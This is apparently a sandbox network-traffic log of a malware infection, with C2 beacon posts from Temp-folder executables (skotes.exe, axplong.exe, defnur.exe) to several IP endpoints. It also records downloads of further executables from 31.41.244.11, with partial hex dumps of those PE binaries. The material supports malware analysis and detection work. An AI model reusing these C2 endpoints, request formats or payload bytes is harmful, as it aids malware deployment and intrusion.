Dec 23, 2024 17:18:08.482158899 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:09.078161955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	49802	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:07.997994900 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 31 31 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021118001&unit=246122658369
Dec 23, 2024 17:18:09.343863964 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	49803	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:08.037194014 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:09.374615908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	49804	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:09.548602104 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:18:10.842713118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:10 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 23, 2024 17:18:10.842792988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:18:10.842803955 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 23, 2024 17:18:10.842814922 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 23, 2024 17:18:10.842916012 CET	1236	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 23, 2024 17:18:10.842927933 CET	1236	IN	Data Raw: 78 01 81 ff 00 10 00 00 72 14 8b 51 fc 83 c1 fc 29 d1 83 f9 20 73 33 83 c0 24 89 c7 89 d1 57 51 e8 49 0a 00 00 83 c4 08 c7 06 5c c3 41 00 8b 4c 24 18 31 e1 e8 74 0a 00 00 89 f0 83 c4 1c 5e 5f 5b 5d c2 0c 00 e8 fd f8 ff ff e8 00 95 00 00 55 89 e5 Data Ascii: xrQ) s3$WQI\AL$1t^_[]USWV0WB1EUP WCWCzzrMw{C JUCE@rP\|P\C{MK GWuP
Dec 23, 2024 17:18:10.842937946 CET	1236	IN	Data Raw: 00 00 00 83 c4 04 8b 10 89 c1 56 ff 52 20 89 c3 8b 4f 04 85 c9 74 11 8b 01 ff 50 08 85 c0 74 08 8b 10 89 c1 6a 01 ff 12 8b 4c 24 08 31 e1 e8 a6 05 00 00 89 d8 83 c4 0c 5e 5f 5b c2 04 00 53 57 56 83 ec 0c 8b 74 24 1c a1 c0 57 42 00 31 e0 89 44 24 Data Ascii: VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3u-VPt94$VP<$=\|dBL$bL$1^_[WVWB1D$9u&j
Dec 23, 2024 17:18:10.843076944 CET	1236	IN	Data Raw: 68 6a b8 41 00 e8 be 01 00 00 59 c3 56 57 6a 01 e8 33 5e 00 00 59 bf 10 66 42 00 8b f0 8b cf e8 0d 0f 00 00 6a 00 56 8b cf c7 05 10 66 42 00 cc cb 41 00 e8 69 1a 00 00 68 74 b8 41 00 e8 86 01 00 00 59 5f 5e c3 6a 01 6a 00 68 10 66 42 00 b9 c0 65 Data Ascii: hjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^
Dec 23, 2024 17:18:10.843089104 CET	1236	IN	Data Raw: 01 8b 45 08 89 41 04 89 0d a4 65 42 00 c9 c3 e8 0a 04 00 00 cc 56 57 8b 79 04 8b 07 8b 70 08 8b ce ff 15 10 37 42 00 8b cf ff d6 8b f8 85 ff 74 12 8b 0f 6a 01 8b 31 8b ce ff 15 10 37 42 00 8b cf ff d6 5f 5e c3 56 eb 15 8b 06 8b ce a3 a4 65 42 00 Data Ascii: EAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*
Dec 23, 2024 17:18:10.843099117 CET	1236	IN	Data Raw: ff c7 06 60 cb 41 00 8b c6 5e c9 c2 04 00 55 8b ec 56 ff 75 08 8b f1 e8 93 e6 ff ff c7 06 60 cb 41 00 8b c6 5e 5d c2 04 00 55 8b ec 51 56 ff 75 08 8b f1 89 75 fc e8 b1 fe ff ff c7 06 a8 c3 41 00 8b c6 5e c9 c2 04 00 83 61 04 00 8b c1 83 61 08 00 Data Ascii: `A^UVu`A^]UQVuuA^aaAB$AUEM#P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3
Dec 23, 2024 17:18:10.962495089 CET	1236	IN	Data Raw: ff 75 08 8b 40 04 c7 04 06 7c cb 41 00 8b 06 8b 48 04 8d 41 f8 89 44 31 fc 8b 06 8b 48 04 03 ce e8 d7 fe ff ff 8b c6 e8 e1 1b 00 00 c2 0c 00 55 8b ec 56 8d 71 f8 8b ce e8 17 00 00 00 f6 45 08 01 74 0a 6a 50 56 e8 ff f1 ff ff 59 59 8b c6 5e 5d c2 Data Ascii: u@\|AHAD1HUVqEtjPVYY^]UjhAdPWB3PEdQ@D\|AHADeRlAYMdYjA3Aj^^^^^^^^ ^$^(^,^0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	49805	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:09.588243961 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:10.890048981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:18:11.194992065 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:11.644140959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	49806	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:11.623878956 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:12.947354078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	49807	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:12.028091908 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:13.347521067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:18:13.404936075 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:13.850871086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	49808	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:15.246146917 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:16.536056042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	49809	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:15.342740059 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:16.586810112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	49810	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:15.345190048 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 31 31 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021119001&unit=246122658369
Dec 23, 2024 17:18:16.630645990 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.9	49812	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:17.007968903 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:18:18.261343956 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:18 GMT Content-Type: application/octet-stream Content-Length: 1879552 Last-Modified: Sun, 22 Dec 2024 20:01:10 GMT Connection: keep-alive ETag: "67687006-1cae00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 77 59 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`JwY@T0h 1 H@.rsrc X@.idata 0Z@ @\@aseoxclk0/^@dunhoeap J@.taggant00J"@
Dec 23, 2024 17:18:18.261363029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:18:18.261378050 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:18:18.261394978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:18:18.261408091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: W,EP!y&t5"Tja
Dec 23, 2024 17:18:18.261503935 CET	1236	IN	Data Raw: 41 92 94 ba d6 59 d5 65 fe 03 9a 6e e5 42 a4 a5 e0 d0 60 bb 67 97 0a 1d 4c e9 f3 4f 59 27 01 ee 15 bc 4d 90 d5 9a 39 7f 5b bc 15 3b 16 f2 53 e3 f3 4b 17 3c 51 ac 8c 0b 1f ff 0c 66 0d 54 dd 56 9e fc 0b 04 3d f8 60 87 29 30 d3 9a 94 26 b3 7c 1e 2b Data Ascii: AYenB`gLOY'M9[;SK<QfTV=`)0&\|+tUf=bn.fL8~Iup_6TZR%%yN2j03d"`qk5$77lx=EVN)W_(t=#Rv
Dec 23, 2024 17:18:18.261518002 CET	672	IN	Data Raw: a6 4b 7c 77 f7 54 3a fb 20 a1 16 1b e5 1d 74 08 0e 1d 03 d2 c9 0d 98 19 60 3a 26 d9 5a 13 0f 35 11 6e 52 99 ac 80 be 19 5a 1d 25 f0 5c 53 93 9d f0 d0 86 0b c4 50 4c 40 5b c0 21 7f 5b 61 2f 26 53 9d db 2e 46 22 c4 94 26 10 31 4f 31 e2 15 76 e7 bf Data Ascii: K\|wT: t`:&Z5nRZ%\SPL@[![a/&S.F"&1O1vuZk&<V[7 @~ rt&.FoaD$*fb/yKxfD9rq&Z1W4(p4XD532 )\|1nyPu3\.Tir(HP3<:
Dec 23, 2024 17:18:18.261538029 CET	1236	IN	Data Raw: 62 e4 09 94 97 f8 25 fe 2b 41 6b 83 0d 34 23 22 53 09 87 9b dd 2e 8c f0 17 9a 48 0a 14 7a 93 42 24 2f e2 3c ca 6a ee 4e 74 b7 75 bd ac a6 6a 38 4b 32 f9 ef db 9d 32 54 a8 88 c0 e5 ed b5 46 15 bd 12 96 64 d6 09 bc 14 77 f9 53 22 64 1f 77 26 10 3c Data Ascii: b%+Ak4#"S.HzB$/<jNtuj8K22TFdwS"dw&<Q(o!`qso* CQCa/IzPlHl%Mv#74r&hBI=u>QR/xXXOj-8
Dec 23, 2024 17:18:18.261550903 CET	1236	IN	Data Raw: e3 07 a4 8d 93 e2 33 d9 88 a6 5f 41 38 2e 0f 73 d3 9c 6c 9b 08 84 48 9e eb f7 72 54 95 61 e9 ad 75 8b 25 51 f3 80 a2 69 2d f3 da 85 df fa 85 16 17 9c 63 33 52 e9 f9 a5 c4 e9 5a 4b 31 38 5b 65 54 34 04 91 9c 51 17 ab d4 e6 33 3d 5a 2e 27 9e 17 3c Data Ascii: 3_A8.slHrTau%Qi-c3RZK18[eT4Q3=Z.'<K+Lc)C'%e<F&YV12)'zvY(e#E'pw-4"720*!W8X6Z>~XN1\IC@b%v8H;jn`$
Dec 23, 2024 17:18:18.261563063 CET	1236	IN	Data Raw: c5 1f 9b a5 19 6b 74 e6 4c 31 4d 19 44 9e 67 46 0c 75 2b bc 26 aa 16 23 63 8e 23 77 6e 2e 60 5f d2 ea 8c 3b ef 2c 00 9c d2 b5 46 12 d0 f3 c0 5a f6 81 47 f3 9d fc 58 29 1b 45 05 96 16 c2 06 27 27 cd 07 2d a1 13 b1 b7 48 50 02 61 b3 52 87 fc 7d 91 Data Ascii: ktL1MDgFu+&#c#wn.`_;,FZGX)E''-HPaR}@wX*^m~tufL6`g"b/GQa<GZ<m`9RDT$d%[9N0:sc~6F>R!2JC[k\Th7Im
Dec 23, 2024 17:18:18.381465912 CET	1236	IN	Data Raw: 57 60 72 bf 01 f4 3f 6f d2 91 71 33 ad 4a 80 12 21 8c a3 e2 fa 78 ce be e7 b2 cb 8b 45 5f 84 8b ff 61 3a 3e 1a a7 06 69 de b6 56 63 7a 3e f7 30 9a 1c 85 55 17 94 81 b7 78 ec f3 47 ba 05 27 34 fa 61 c4 ae 65 bf 20 ad 6f 0c be 91 ba 1f 44 86 e9 b1 Data Ascii: W`r?oq3J!xE_a:>iVcz>0UxG'4ae oDP3\$NpC2LJbS;o+#4z?!(s`}W`R03a,U/S]R~7BiIcx<,:$Zh$E8]T!//*\|n,px=W%DYFM/aQi~x;J'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.9	49813	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

